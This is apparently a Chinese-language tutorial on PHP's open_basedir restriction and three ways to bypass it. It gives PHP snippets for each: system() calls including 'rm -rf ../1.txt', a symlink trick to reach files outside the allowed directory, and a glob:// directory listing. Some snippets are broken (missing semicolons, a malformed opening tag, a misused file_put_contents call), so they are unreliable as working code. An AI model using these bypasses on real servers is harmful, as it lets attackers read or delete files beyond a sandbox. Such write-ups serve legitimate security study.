open_basedir
php.ini中原文的说明是:
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
open_basedir = . 默认设置为. 代表着当前目录。
将上文翻译之后是:
1,open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也
可用符号"."来代表当前目录。
2,注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是 可以访问的。
3,所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。例如设置成: ,"open_basedir = /dir/user/"
4,open_basedir也可以同时设置多个目录, 在Windows中用分号分隔目录。open_basedir=/home/wwwroot/home/web1/:/tmp/
符号链接
1,符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。
2,在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作。
3,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。
绕过方法
1,命令执行函数绕过
open_basedir的设置对system等命令执行函数是无效的
<?php system("rm -rf ../1.txt");?>
<?php system("cat ../1.txt");?>
2,symlink()函数
菜鸟:symlink()函数创建一个从指定名称连接的现存目标文件开始的符号连接。如果成功,该函数返回TRUE。如果失败,则返回FALSE。
官方:symlink ( string $target
, string $link
) : bool
symlink() 对于已有的 target
建立一个名为 link
的符号连接。
target:
连接的目标。link
:连接的名称。
<?php
$target='uploads.php'
$link='uploads'
symlink($target,$link);
echo "readlink($link)";
?>
readlink() 函数返回符号连接指向的目标。
注释:这不是一个HTML连接,而是一个文件系统中的连接。
注释:该函数不能在Windows平台上执行。
利用方式:
?php
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
symlink("c/d","tmplink");//建立一个符号连接指向c/d,c/d是之前建立的目录文件
symlink("tmplink/../../1.txt","exploit");
//这个时候tmplink是符号链接文件,它指向的路径是c/d,因此这个时候exploit这个符号链接文件指向的
路径是:c/d/../../1.txt,..是在d目录下新建的目录,符合open_basedir的范围要求,所以建立成立。
unlink("tmplink");
//删除了符号链接。
mkdir("tmplink");
//然后新建了tmplink目录,这就导致exploit指向的路径变成了tmplink/../../,在tmplink目录下向上跳了一个目录。
echo file_put_contents("http://127.0.0.1/exploit");
//这个地方调用了符号链接exploit,读取到了上一次目录下的1.txt
?>
3,glob伪协议
glob:// — 查找匹配的文件路径模式
基本用法
绕过open_basedir()
<?php $a = "glob:///var/www/test/*.txt";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo "filename:".$file."\n";
}
closedir($b);
}?>
opendir() 函数:打开目录句柄。
readdir()函数返回目录中下一个文件的文件名。